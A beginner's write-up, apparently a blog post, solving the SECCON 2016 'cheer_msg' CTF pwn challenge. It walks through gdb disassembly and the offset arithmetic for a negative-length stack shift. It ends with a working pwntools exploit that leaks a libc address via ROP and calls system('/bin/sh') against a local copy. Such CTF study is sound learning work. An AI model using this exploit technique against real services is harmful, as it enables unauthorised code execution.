[PYTHON] CTF beginners just study pwn ~ "cheer_msg" from SECCON 2016 Online qualifying ~

1.First of all

When I noticed that I made a big mistake when I tried to divert the problem of bin edition posted the other day to the pwn edition, I was hurt by a certain person. We are recovering with help. I decided to study pwn seriously once in a while without introducing it to the habits of beginners, so I will quote the problem from SECCON's Online qualifying again and think that I should study a little. I will. So this time it's just dripping in my brain when solving the problem.

2. Main subject

Host : cheermsg.pwn.seccon.jp
Port : 30527

cheer_msg (SHA1 : a89bdbaf3a918b589e14446f88d51b2c63cb219f)
libc-2.19.so (SHA1 : c4dc1270c1449536ab2efbbe7053231f1a776368)

(From SECCON 2016 Online Qualifying"cheer_msg")

So, I would like to solve this problem by referring to Questioner's commentary page. Of course, this server isn't running right now, so get the binary in question and the flagged text from SECCON's github and type it into the same directory to get started.

Let's move it for the time being. The environment is Ubuntu 14.04 x86_64.


shir0@shir0:~/src$ ./cheer_msg
Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> 10
Message >> AAAA

Oops! I forgot to ask your name...
Can you tell me your name?

Name >> BBBB

Thank you BBBB!
Message : AAAA

It looks like a program that sends a support message (cheer_msg) to a certain senior. It seems that Format_string attack does not pass because it does not cause strange behavior even if% x is entered in the input field. Shall we go steadily? Disassemble the main function.


shir0@shir0:~/src$ gdb -q cheer_msg
Reading symbols from cheer_msg...(no debugging symbols found)...done.
gdb-peda$ disass main
Dump of assembler code for function main:
   0x080485ca <+0>:	lea    ecx,[esp+0x4]
   0x080485ce <+4>:	and    esp,0xfffffff0
   0x080485d1 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080485d4 <+10>:	push   ebp
   0x080485d5 <+11>:	mov    ebp,esp
   0x080485d7 <+13>:	push   ecx
   0x080485d8 <+14>:	sub    esp,0x24
   0x080485db <+17>:	mov    DWORD PTR [esp],0x80487e0
   0x080485e2 <+24>:	call   0x8048430 <printf@plt>
   0x080485e7 <+29>:	call   0x804870d <getint>
   0x080485ec <+34>:	mov    DWORD PTR [ebp-0x10],eax
   0x080485ef <+37>:	mov    eax,DWORD PTR [ebp-0x10]
   0x080485f2 <+40>:	lea    edx,[eax+0xf]
   0x080485f5 <+43>:	mov    eax,0x10
   0x080485fa <+48>:	sub    eax,0x1
   0x080485fd <+51>:	add    eax,edx
   0x080485ff <+53>:	mov    ecx,0x10
   0x08048604 <+58>:	mov    edx,0x0
   0x08048609 <+63>:	div    ecx
   0x0804860b <+65>:	imul   eax,eax,0x10
   0x0804860e <+68>:	sub    esp,eax
   0x08048610 <+70>:	lea    eax,[esp+0x8]
   0x08048614 <+74>:	add    eax,0xf
   0x08048617 <+77>:	shr    eax,0x4
   0x0804861a <+80>:	shl    eax,0x4
   0x0804861d <+83>:	mov    DWORD PTR [ebp-0xc],eax
   0x08048620 <+86>:	mov    eax,DWORD PTR [ebp-0x10]
   0x08048623 <+89>:	mov    DWORD PTR [esp+0x4],eax
   0x08048627 <+93>:	mov    eax,DWORD PTR [ebp-0xc]
   0x0804862a <+96>:	mov    DWORD PTR [esp],eax
   0x0804862d <+99>:	call   0x804863c <message>
   0x08048632 <+104>:	leave  
   0x08048633 <+105>:	ret    
   0x08048634 <+106>:	nop
   0x08048635 <+107>:	nop
   0x08048636 <+108>:	nop
   0x08048637 <+109>:	nop
   0x08048638 <+110>:	nop
   0x08048639 <+111>:	nop
   0x0804863a <+112>:	nop
   0x0804863b <+113>:	nop
End of assembler dump.

The only things that catch the eye are the mysterious functions "getint" and "message". Let's disassemble each one.

"getint" function


gdb-peda$ disass getint
Dump of assembler code for function getint:
   0x0804870d <+0>:	push   ebp
   0x0804870e <+1>:	mov    ebp,esp
   0x08048710 <+3>:	sub    esp,0x68
   0x08048713 <+6>:	mov    eax,gs:0x14
   0x08048719 <+12>:	mov    DWORD PTR [ebp-0xc],eax
   0x0804871c <+15>:	xor    eax,eax
   0x0804871e <+17>:	mov    DWORD PTR [esp+0x4],0x40
   0x08048726 <+25>:	lea    eax,[ebp-0x4c]
   0x08048729 <+28>:	mov    DWORD PTR [esp],eax
   0x0804872c <+31>:	call   0x80486bd <getnline>
   0x08048731 <+36>:	lea    eax,[ebp-0x4c]
   0x08048734 <+39>:	mov    DWORD PTR [esp],eax
   0x08048737 <+42>:	call   0x80484a0 <atoi@plt>
   0x0804873c <+47>:	mov    edx,DWORD PTR [ebp-0xc]
   0x0804873f <+50>:	xor    edx,DWORD PTR gs:0x14
   0x08048746 <+57>:	je     0x804874d <getint+64>
   0x08048748 <+59>:	call   0x8048450 <__stack_chk_fail@plt>
   0x0804874d <+64>:	leave  
   0x0804874e <+65>:	ret    
End of assembler dump.

"message" function

Dump of assembler code for function message:
   0x0804863c <+0>:	push   ebp
   0x0804863d <+1>:	mov    ebp,esp
   0x0804863f <+3>:	sub    esp,0x68
   0x08048642 <+6>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08048645 <+9>:	mov    DWORD PTR [ebp-0x5c],eax
   0x08048648 <+12>:	mov    eax,gs:0x14
   0x0804864e <+18>:	mov    DWORD PTR [ebp-0xc],eax
   0x08048651 <+21>:	xor    eax,eax
   0x08048653 <+23>:	mov    DWORD PTR [esp],0x8048826
   0x0804865a <+30>:	call   0x8048430 <printf@plt>
   0x0804865f <+35>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048662 <+38>:	mov    DWORD PTR [esp+0x4],eax
   0x08048666 <+42>:	mov    eax,DWORD PTR [ebp-0x5c]
   0x08048669 <+45>:	mov    DWORD PTR [esp],eax
   0x0804866c <+48>:	call   0x80486bd <getnline>
   0x08048671 <+53>:	mov    DWORD PTR [esp],0x8048834
   0x08048678 <+60>:	call   0x8048430 <printf@plt>
   0x0804867d <+65>:	mov    DWORD PTR [esp+0x4],0x40
   0x08048685 <+73>:	lea    eax,[ebp-0x4c]
   0x08048688 <+76>:	mov    DWORD PTR [esp],eax
   0x0804868b <+79>:	call   0x80486bd <getnline>
   0x08048690 <+84>:	mov    eax,DWORD PTR [ebp-0x5c]
   0x08048693 <+87>:	mov    DWORD PTR [esp+0x8],eax
   0x08048697 <+91>:	lea    eax,[ebp-0x4c]
   0x0804869a <+94>:	mov    DWORD PTR [esp+0x4],eax
   0x0804869e <+98>:	mov    DWORD PTR [esp],0x804887d
   0x080486a5 <+105>:	call   0x8048430 <printf@plt>
   0x080486aa <+110>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080486ad <+113>:	xor    eax,DWORD PTR gs:0x14
   0x080486b4 <+120>:	je     0x80486bb <message+127>
   0x080486b6 <+122>:	call   0x8048450 <__stack_chk_fail@plt>
   0x080486bb <+127>:	leave  
   0x080486bc <+128>:	ret    
End of assembler dump.

Another function called "getnline" came out, so this is also for the time being

"getnline" function

gdb-peda$ disass getnline
Dump of assembler code for function getnline:
   0x080486bd <+0>:	push   ebp
   0x080486be <+1>:	mov    ebp,esp
   0x080486c0 <+3>:	sub    esp,0x28
   0x080486c3 <+6>:	mov    eax,ds:0x804a040
   0x080486c8 <+11>:	mov    DWORD PTR [esp+0x8],eax
   0x080486cc <+15>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080486cf <+18>:	mov    DWORD PTR [esp+0x4],eax
   0x080486d3 <+22>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080486d6 <+25>:	mov    DWORD PTR [esp],eax
   0x080486d9 <+28>:	call   0x8048440 <fgets@plt>
   0x080486de <+33>:	mov    DWORD PTR [esp+0x4],0xa
   0x080486e6 <+41>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080486e9 <+44>:	mov    DWORD PTR [esp],eax
   0x080486ec <+47>:	call   0x8048470 <strchr@plt>
   0x080486f1 <+52>:	mov    DWORD PTR [ebp-0xc],eax
   0x080486f4 <+55>:	cmp    DWORD PTR [ebp-0xc],0x0
   0x080486f8 <+59>:	je     0x8048700 <getnline+67>
   0x080486fa <+61>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080486fd <+64>:	mov    BYTE PTR [eax],0x0
   0x08048700 <+67>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08048703 <+70>:	mov    DWORD PTR [esp],eax
   0x08048706 <+73>:	call   0x8048480 <strlen@plt>
   0x0804870b <+78>:	leave  
   0x0804870c <+79>:	ret    
End of assembler dump.

According to the questioner's page mentioned above, the negative number check is not done when receiving the Message Length, so if you look at the disassembled result of each function, you can certainly input until you receive a positive integer. I can't find any loop processing (branch instructions from an assembly point of view) that you can hear back.

I thought for a moment, "But there is a je command near the end of getint and message, but is this different?", But this is SSP (Stack Smashing Protection) from the contents of the call command (__stack_chk_fail @ plt) immediately after that. ) Is probably the cause.

In other words, it is here to determine if the return address has been corrupted. At the same time, it turns out that this time the classic buffer overflow doesn't work. (Although there are some examples of avoiding SSP by reading the value of canary by leaking the contents of memory by overread etc. and bypassing it to the buffer for attack ...)

Also, I don't see any type of processing such as reading a negative value and multiplying that value by -1 to make it a positive integer (though I don't think it's so far). (When I tried it at hand, I found a neg instruction, which is an assembly instruction that performs sign inversion. It's interesting ...)

When I was convinced by the fact that the negative number check was not done, I read the page about pwn's policy, and by doing esp-eax in the main function, I lowered the value of esp to store the contents of the message. It seems that it is moved to. However, by substituting a negative number for eax here, the negative number can be subtracted (= added), that is, the value of esp can be moved to a higher level.

Then move esp to a certain position and adjust so that the value entered in the name input field overwrites the position where the return address of the main function is stored.

As a starting point, let's set the Message Length to -100 and the length of the name pattern to about 100.

gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ b *0x08048633
Breakpoint 1 at 0x8048633
gdb-peda$ run
Starting program: /home/shir0/src/cheer_msg 
Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -100
Message >> 
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Thank you AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AA!
Message : ��

 [----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x5b ('[')
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414641 ('AFAA')
ESP: 0xffffd08c ("bAA1AAGAAcAA2AA")
EIP: 0x8048633 (<main+105>:	ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804862a <main+96>:	mov    DWORD PTR [esp],eax
   0x804862d <main+99>:	call   0x804863c <message>
   0x8048632 <main+104>:	leave  
=> 0x8048633 <main+105>:	ret    
   0x8048634 <main+106>:	nop
   0x8048635 <main+107>:	nop
   0x8048636 <main+108>:	nop
   0x8048637 <main+109>:	nop
[------------------------------------stack-------------------------------------]
0000| 0xffffd08c ("bAA1AAGAAcAA2AA")
0004| 0xffffd090 ("AAGAAcAA2AA")
0008| 0xffffd094 ("AcAA2AA")
0012| 0xffffd098 --> 0x414132 ('2AA')
0016| 0xffffd09c --> 0x76647200 ('')
0020| 0xffffd0a0 --> 0x1 
0024| 0xffffd0a4 --> 0xffffd134 --> 0xffffd302 ("/home/shir0/src/cheer_msg")
0028| 0xffffd0a8 --> 0xffffd088 ("AFAAbAA1AAGAAcAA2AA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048633 in main ()
gdb-peda$ patto bAA1AAGAAcAA2AA
bAA1AAGAAcAA2AA found at offset: 48
gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x5b ('[')
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414641 ('AFAA')
ESP: 0xffffd090 ("AAGAAcAA2AA")
EIP: 0x31414162 ('bAA1')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x31414162
[------------------------------------stack-------------------------------------]
0000| 0xffffd090 ("AAGAAcAA2AA")
0004| 0xffffd094 ("AcAA2AA")
0008| 0xffffd098 --> 0x414132 ('2AA')
0012| 0xffffd09c --> 0x76647200 ('')
0016| 0xffffd0a0 --> 0x1 
0020| 0xffffd0a4 --> 0xffffd134 --> 0xffffd302 ("/home/shir0/src/cheer_msg")
0024| 0xffffd0a8 --> 0xffffd088 ("AFAAbAA1AAGAAcAA2AA")
0028| 0xffffd0ac --> 0x8048632 (<main+104>:	leave)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x31414162 in ?? ()

Since the offset is 48, if you pass -148 to Message Length with-(100 + 48), the content written in the name input field will overwrite the content of the position where the main return address is stored.

By the way, I first read the questioner's page and thought, "Why are you passing -144 to Message Length ... I wonder if it will come out if you look at the assembly steadily ...", and while reading the assembly, various things I calculated it.

   0x080485e7 <+29>:	call   0x804870d <getint>
   0x080485ec <+34>:	mov    DWORD PTR [ebp-0x10],eax
   0x080485ef <+37>:	mov    eax,DWORD PTR [ebp-0x10]
   0x080485f2 <+40>:	lea    edx,[eax+0xf]
   0x080485f5 <+43>:	mov    eax,0x10
   0x080485fa <+48>:	sub    eax,0x1
   0x080485fd <+51>:	add    eax,edx
   0x080485ff <+53>:	mov    ecx,0x10
   0x08048604 <+58>:	mov    edx,0x0
   0x08048609 <+63>:	div    ecx
   0x0804860b <+65>:	imul   eax,eax,0x10
   0x0804860e <+68>:	sub    esp,eax

Due to a part of the disassembled result of the main function above, the value of eax immediately before performing esp-eax is You can see that [{(value passed to Message Length) + 0x1e} is the quotient when divided by 0x10} * 0x10].

 [----------------------------------registers-----------------------------------]
EAX: 0x80 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x10 
EDX: 0x2 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd118 --> 0x0 
ESP: 0xffffd070 --> 0xffffd09c --> 0x303031 ('100')
EIP: 0x8048610 (<main+70>:	lea    eax,[esp+0x8])
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048609 <main+63>:	div    ecx
   0x804860b <main+65>:	imul   eax,eax,0x10
   0x804860e <main+68>:	sub    esp,eax
=> 0x8048610 <main+70>:	lea    eax,[esp+0x8]
   0x8048614 <main+74>:	add    eax,0xf
   0x8048617 <main+77>:	shr    eax,0x4
   0x804861a <main+80>:	shl    eax,0x4
   0x804861d <main+83>:	mov    DWORD PTR [ebp-0xc],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd070 --> 0xffffd09c --> 0x303031 ('100')
0004| 0xffffd074 --> 0xf7ffd938 --> 0x0 
0008| 0xffffd078 --> 0x40 ('@')
0012| 0xffffd07c --> 0x804873c (<getint+47>:	mov    edx,DWORD PTR [ebp-0xc])
0016| 0xffffd080 --> 0xffffd09c --> 0x303031 ('100')
0020| 0xffffd084 --> 0x40 ('@')
0024| 0xffffd088 --> 0x0 
0028| 0xffffd08c --> 0xf7e7c423 (<setbuffer+227>:	jmp    0xf7e7c3d3 <setbuffer+147>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048610 in main ()
gdb-peda$ i r
eax            0x80	0x80
ecx            0x10	0x10
edx            0x2	0x2
ebx            0xf7fc0000	0xf7fc0000
esp            0xffffd070	0xffffd070         ///////////////////value of esp//////////////////
ebp            0xffffd118	0xffffd118
esi            0x0	0x0
edi            0x0	0x0
eip            0x8048610	0x8048610 <main+70>
eflags         0x282	[ SF IF ]
cs             0x23	0x23
ss             0x2b	0x2b
ds             0x2b	0x2b
es             0x2b	0x2b
fs             0x0	0x0
gs             0x63	0x63
gdb-peda$ c
Continuing.

Oops! I forgot to ask your name...
Can you tell me your name?

Name >> NAME

 [----------------------------------registers-----------------------------------]
EAX: 0xffffd01c ("NAME\n")
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0xf7fd9005 --> 0xa4547 ('GE\n')
EDX: 0xf7fc18a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffcff8 --> 0xffffd068 --> 0xffffd118 --> 0x0 
ESP: 0xffffcfd0 --> 0xffffd01c ("NAME\n")
EIP: 0x80486de (<getnline+33>:	mov    DWORD PTR [esp+0x4],0xa)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80486d3 <getnline+22>:	mov    eax,DWORD PTR [ebp+0x8]
   0x80486d6 <getnline+25>:	mov    DWORD PTR [esp],eax
   0x80486d9 <getnline+28>:	call   0x8048440 <fgets@plt>
=> 0x80486de <getnline+33>:	mov    DWORD PTR [esp+0x4],0xa
   0x80486e6 <getnline+41>:	mov    eax,DWORD PTR [ebp+0x8]
   0x80486e9 <getnline+44>:	mov    DWORD PTR [esp],eax
   0x80486ec <getnline+47>:	call   0x8048470 <strchr@plt>
   0x80486f1 <getnline+52>:	mov    DWORD PTR [ebp-0xc],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffcfd0 --> 0xffffd01c ("NAME\n")            ///////////////Return address storage location/////////////
0004| 0xffffcfd4 --> 0x40 ('@')
0008| 0xffffcfd8 --> 0xf7fc0c20 --> 0xfbad2288 
0012| 0xffffcfdc --> 0xf7e63dff (<printf+47>:	add    esp,0x18)
0016| 0xffffcfe0 --> 0xf7fc0ac0 --> 0xfbad2887 
0020| 0xffffcfe4 --> 0x8048834 ("\nOops! I forgot to ask your name...\nCan you tell me your name?\n\nName >> ")
0024| 0xffffcfe8 --> 0xffffd004 --> 0x40 ('@')
0028| 0xffffcfec --> 0xffffd087 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x080486de in getnline ()


gdb-peda$ p 0xffffd070-0xffffd01c
$1 = 0x54

Also, set a breakpoint on the instruction immediately after this instruction group, check the value of esp with a command such as ir esp, and check the breakpoint immediately after the getf function in the getnline function used to read the name in the message function. To find out the address of the stack that stores the name and make a difference.

Then, you can also see that the difference between the esp after subtracting eax on gdb and the address of the stack where the value entered in the name input field is stored is 0x54 (as far as I tried on gdb at hand). I will.

Also, if you set a breakpoint at the ret instruction near the end of the main function for the storage position of the main return address, the value on the top of the stack at that time should be the return address. Let's check it and ask for it. I remember that the ret instruction actually (maybe not exactly) behaves like pop eip ... (although there may be an easier way).

gdb-peda$ b *0x08048633
Breakpoint 1 at 0x8048633
gdb-peda$ run
Starting program: /home/shir0/src/cheer_msg 
Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -148
Message >> 
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> AAAA

Thank you AAAA!
Message : 

 [----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x1c 
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd11c ("AAAA")
EIP: 0x8048633 (<main+105>:	ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804862a <main+96>:	mov    DWORD PTR [esp],eax
   0x804862d <main+99>:	call   0x804863c <message>
   0x8048632 <main+104>:	leave  
=> 0x8048633 <main+105>:	ret    
   0x8048634 <main+106>:	nop
   0x8048635 <main+107>:	nop
   0x8048636 <main+108>:	nop
   0x8048637 <main+109>:	nop
[------------------------------------stack-------------------------------------]
0000| 0xffffd11c ("AAAA")                   /////////////////////here!//////////////////////
0004| 0xffffd120 --> 0x8040000 
0008| 0xffffd124 --> 0x0 
0012| 0xffffd128 --> 0x0 
0016| 0xffffd12c --> 0xf7e30ad3 (<__libc_start_main+243>:	mov    DWORD PTR [esp],eax)
0020| 0xffffd130 --> 0x1 
0024| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0028| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048633 in main ()

Now that we know the storage location of the return address, add 0x54, which is the difference from the previous esp, and get the calculation result of esp-eax.

gdb-peda$ p 0xffffd08c+0x54
$1 = 0xffffd0e0

If you set a breakpoint at the position of sub esp eax to be subtracted (0x0804860e), find the value of esp with i r esp (result: esp => 0xffffd060), and find the value of eax.

gdb-peda$ p 0xffffd060-0xffffd0e0
$2 = 0xffffff80

The rest is eax (immediately before esp-eax) = [{(value passed to Message Length) + 0x1e} divided by 0x10} * 0x10] Because it just calculates backwards

gdb-peda$ p 0xffffff80/0x10
$3 = 0xffffff8
gdb-peda$ p 0xffffff80/0x10
$4 = 0xffffff8
gdb-peda$ p 0xffffff8*0x10
$5 = 0xffffff80
gdb-peda$ p 0x1e- 0xffffff80
$6 = 0x9e
gdb-peda$ p /d 0x9e
$7 = 158

So you can also see that the return address can be rewritten by entering -158. The cause that is slightly different from the value obtained by the tool and the value obtained by the questioner is the instruction div ecx in the main function that produces "the quotient when ... is divided by 0x10} * 0x10" in the above formula. It is located at imul eax eax 0x10 ;. In div ecx, the value of eax is divided by ecx, the quotient is stored in eax, and the remainder is stored in ecx. As you can see from the previous instruction, the value of ecx this time is 0x10, so the value of eax is lowered by one place and the minimum digit is actually truncated. After that, imul eax, eax, 0x10 is the value obtained by multiplying the value of eax by 0x10 (the place goes up by one and the minimum digit is 0).

The point is that the minimum 1 digit of the value (value passed to Message Length) + 0x1e will automatically be 0. In the above example, the? Part of 0xffffff8? Will be set to 0 in the subsequent calculation, so in order to successfully rewrite the return address, the first 7 digits should be "0xffffff8". This is probably one of the reasons why the Message Length used on the questioner's page and the Message Length I requested are different. (Well, most of the causes are probably libc differences)

When actually moving it, in this environment, if the value of Message Length is changed from -143 (=-(158-15)) to -158, the return address will be rewritten successfully, but it is -142 or more or -159 or less. If set to, rewriting to the intended value will fail.

When Message Length> -143 (return address is 0x41414141)

Message Length >> -143

 [----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x1c 
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd120 --> 0x8040000 
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd120 --> 0x8040000 
0004| 0xffffd124 --> 0x0 
0008| 0xffffd128 --> 0x0 
0012| 0xffffd12c --> 0xf7e30ad3 (<__libc_start_main+243>:	mov    DWORD PTR [esp],eax)
0016| 0xffffd130 --> 0x1 
0020| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0024| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
0028| 0xffffd13c --> 0xf7feacca (add    ebx,0x12336)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

When Message Length> -142 (completed normally)

Message Length >> -142
Message >> 
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> AAAA

Thank you AAAA!
Message : 
[Inferior 1 (process 2884) exited normally]
Warning: not running or target is remote

When Message Length> -159 (Processing is skipped to a place other than the original, but the value after rewriting is not the intended "AAAA" (0x41414141))

Message Length >> -159
Message >> 
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> AAAA

Thank you AAAA!
Message : 

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x1d 
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd190 --> 0x1 
ESP: 0xffffd120 --> 0x8048750 (<__libc_csu_init>:	push   ebp)
EIP: 0xffffd190 --> 0x1
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xffffd18a:	jecxz  0xffffd183
   0xffffd18c:	add    al,dl
   0xffffd18e:	push   edi
=> 0xffffd190:	add    DWORD PTR [eax],eax
   0xffffd192:	add    BYTE PTR [eax],al
   0xffffd194:	mov    al,0x84
   0xffffd196:	add    al,0x8
   0xffffd198:	add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffd120 --> 0x8048750 (<__libc_csu_init>:	push   ebp)
0004| 0xffffd124 --> 0x0 
0008| 0xffffd128 --> 0x0 
0012| 0xffffd12c ("AAAA")
0016| 0xffffd130 --> 0x0 
0020| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0024| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
0028| 0xffffd13c --> 0xf7feacca (add    ebx,0x12336)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xffffd190 in ?? ()

When Message Length> -158 (return address is 0x41414141)

Message Length >> -158
Message >> 
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> AAAA

Thank you AAAA!
Message : 

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x1c 
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd120 --> 0x8040000 
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd120 --> 0x8040000 
0004| 0xffffd124 --> 0x0 
0008| 0xffffd128 --> 0x0 
0012| 0xffffd12c --> 0xf7e30ad3 (<__libc_start_main+243>:	mov    DWORD PTR [esp],eax)
0016| 0xffffd130 --> 0x1 
0020| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0024| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
0028| 0xffffd13c --> 0xf7feacca (add    ebx,0x12336)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

Based on this information, we will build an attack. As a means of stealing the flag, steal the shell to display the contents of flag.txt. As an attack policy, it is considered easy to use ROP to "execute cheer_msg-> leak libc address-> return to main-> start the shell based on the leaked information", so write the code with that policy. .. (Once cheer_msg finishes execution, ASLR rearranges the address and the leaked address becomes meaningless, so execute main twice in one execution.)

Stack after sending code to leak libc address

(Low stack)
PLT address of printf function(The location where the original return address is stored)
address of main function(Return destination after printf execution)
GOT address of printf function(printf arguments)
(Stack high)

Stack after sending code to launch the shell

(Low stack)
address of system function(The location where the original return address is stored)
"AAAA"(Return destination after executing system Basically appropriate and OK)
"/bin/sh"Address where(system argument)
(Stack high)

If you write the attack code to do the above

#!/usr/bin/env python 

from pwn import *
context(arch = 'i386', os = 'linux')

libc = ELF("/lib32/libc.so.6")

bin_file = ELF("./cheer_msg")


plt_printf_addr = bin_file.plt['printf']
got_printf_addr = bin_file.got['printf']
func_main_addr  = bin_file.functions['main'].address

conn = remote('127.0.0.1', 30527)


conn.recvuntil('Message Length >> ')
conn.sendline(str(-148))


memleak =  p32(plt_printf_addr)
memleak += p32(func_main_addr) 
memleak += p32(got_printf_addr)

conn.recvuntil('Name >> ')
conn.sendline(memleak)

conn.recvuntil('Message : \n')

leaked_string    = conn.recvline()
libc_printf_addr = u32(leaked_string[0:4])
print "libc_printf_addr = %s" % hex(libc_printf_addr)


libc_base_addr   = libc_printf_addr - libc.symbols['printf']
print "libc_base_addr   = %s" % hex(libc_base_addr)
libc_system_addr = libc_base_addr + libc.symbols['system']
libc_shell_addr  = libc_base_addr + next(libc.search('/bin/sh\x00'))

conn.recvuntil('Message Length >> ')
conn.sendline(str(-148))
getshell =  p32(libc_system_addr)
getshell += b'AAAA'
getshell += p32(libc_shell_addr)

conn.recvuntil('Name >> ')
conn.sendline(getshell)

conn.interactive()

conn.close()

Calculate the address (libc_base_addr) where libc is located by subtracting the address in libc of printf from the leaked libc_printf_addr to start the shell, and then add the address in libc of the system function to it. Find the position of the system function (libc_system_addr), and similarly find the position of "/ bin / sh" (libc_shell_addr). Then, the attack has a two-step structure in which it sends a memleak to leak the address, then returns to the main function, and then sends a getshell created based on the leaked information to steal the shell.   When I run it

shir0@shir0:~/src$ socat tcp-listen:30527,reuseaddr,fork exec:"./cheer_msg" 2> /dev/null &
[2] 3004
shir0@shir0:~/src$ python exploit.py
[*] '/lib32/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/shir0/src/cheer_msg'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to 127.0.0.1 on port 30527: Done
libc_printf_addr = 0xf7655dd0
libc_base_addr   = 0xf7609000
[*] Switching to interactive mode

Thank you p\x8ed�AAAA��v�!
Message : 
$ ls
